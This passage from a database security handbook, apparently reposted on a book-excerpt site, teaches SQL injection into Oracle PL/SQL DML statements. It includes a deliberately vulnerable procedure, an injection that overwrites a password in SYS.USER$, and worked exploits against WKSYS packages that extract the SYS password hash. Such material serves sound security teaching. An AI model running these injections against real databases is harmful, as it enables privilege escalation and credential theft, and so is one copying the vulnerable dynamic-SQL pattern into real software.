Injecting into DELETE, INSERT, and UPDATE Statements

Injecting into DELETE, INSERT, and UPDATE statements gives attackers much more flexibility than injecting into SELECT statements in terms of what actions they can take. Remembering that no DDL or DML statements can be performed from within a SELECT statement without the use of AUTONOMOUS_TRANSACTION, the same is not true of DELETE, INSERT, and UPDATE statements. Well, half true. No DDL statements can be executed but DML statements can. This essentially means that when injecting into either a DELETE, INSERT, or UPDATE statement, an attacker can use any of DELETE, INSERT, or UPDATE queries to manipulate any table the PL/SQL definer has access to and not just the table the original query is manipulating. For example, assume a PL/SQL program INSERTs into table FOO and it is vulnerable to SQL injection. An attacker can inject into this PL/SQL program a function that DELETEs from table BAR.

Injecting into INSERT Statements

Before playing around with INSERT statements let's create a table to play with:

 CREATE TABLE EMPLOYEES (EMP_NAME VARCHAR(50)); 

Consider the following PL/SQL procedure:

 CREATE OR REPLACE PROCEDURE NEW_EMP(P_NAME VARCHAR2) AS STMT VARCHAR2(200); BEGIN STMT :='INSERT INTO EMPLOYEES (EMP_NAME) VALUES ('''  P_NAME  ''')'; EXECUTE IMMEDIATE STMT; END; / 

This procedure takes as its argument the name of a new employee. This is then placed into the STMT buffer, which is then executed with EXECUTE IMMEDIATE. All fairly simpleand of course, is vulnerable to SQL injection. We could use one of our functions we've created to select from a table:

 EXEC NEW_EMP('FOO''  SCOTT.GET_IT)--'); 

While this is all well and good it doesn't really demonstrate the high level of flexibility of SQL injection into INSERT statements. We could create the following function to reset the password of the ANONYMOUS user in SYS. USER $, for example:

 CREATE OR REPLACE FUNCTION RSTPWD RETURN VARCHAR2 AUTHID CURRENT_USER IS MYSTMT VARCHAR2(200); BEGIN MYSTMT:='UPDATE SYS.USER$ SET PASSWORD = ''FE0E8CE7C92504E9'' WHERE NAME=''ANONYMOUS'''; EXECUTE IMMEDIATE MYSTMT; RETURN 'FOO'; END; / 

Once executed with

 EXEC SYS.NEW_EMP('P''  SCOTT.RSTPWD)--'); 

the password hash for the ANONYMOUS user is now FE0E8CE7C92504E9, which decrypts to ANONYMOUS. As you can see, by injecting into an INSERT query on one table, EMPLOYEES, we've managed to UPDATE another tableSYS.USER$. We could have also inserted or deleted and this is true of all such DML queries. The ability to perform grants or alter objects is the realm of injecting into anonymous PL/SQL blocks executed from within stored PL/SQL. Before looking into this however, let's look at some real-world examples of injecting into DML queries.

Real-World Examples

The STORE_ACL function of the WK_ACL package owned by WKSYS is vulnerable to SQL injection. It takes as its first parameter the name of a SCHEMA, which is then used in an INSERT statement similar to

 INSERT INTO SCHEMA.WK$ACL ... 

This allows an attacker to insert into any table that WKSYS can insert into, and because WKSYS is a DBA, this can allow an attacker to upgrade database privileges. To demonstrate the hole consider the following:

 CREATE TABLE WKVULN (STR1 VARCHAR2(200),A RAW(16), B CHAR(1), C NUMBER(38)); GRANT INSERT ON WKVULN TO PUBLIC; DECLARE X RAW(16); C CLOB; BEGIN X:=WKSYS.WK_ACL.STORE_ACL('SCOTT.WKVULN (STR1,A,B,C) VALUES ((SELECT  PASSWORD FROM SYS.USER$ WHERE NAME=''SYS''),:1,:2,:3)--',1,c,1,'path',1); END; / SELECT STR1 FROM SCOTT.WKVULN; 

SCOTT first creates a table called WKVULN. The password hash for the SYS user will be selected and inserted into this table. Because the actual insert uses bind variables we need to account for thisthese bind variables are the :1, :2, :3 and are inserted into the dummy columns of the WKVULN table A, B, and C.

Another WKSYS package, this time WK_ADM, has a procedure called COMPLETE_ACL_SNAPSHOT. This procedure is vulnerable to SQL injection and the second parameter of this procedure is used in an UPDATE statement. We can use the WKVULN table again to get the password hash for the SYS user.

 INSERT INTO WKVULN (STR1) VALUES ('VULN'); EXEC WKSYS.WK_ADM.COMPLETE_ACL_SNAPSHOT(1,'SCOTT.WKVULN SET STR1 = (SELECT  PASSWORD FROM SYS.USER$ WHERE NAME = ''SYS'') WHERE STR1=''VULN''--'); 

Here we insert into the STR1 column of the WKVULN table the value VULN. This is the row we'll update with the injection.

We could of course in either of these cases have injected an arbitrary function instead:

 INSERT INTO WKVULN (STR1) VALUES ('VULNC'); EXEC WKSYS.WK_ADM.COMPLETE_ACL_SNAPSHOT(1,'SCOTT.WKVULN SET STR1 = (SCOTT.GET_IT) WHERE STR1=''VULNC''--'); 


Database Hacker's Handbook. Defending Database Servers
The Database Hackers Handbook: Defending Database Servers
ISBN: 0764578014
EAN: 2147483647
Year: 2003
Pages: 156

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net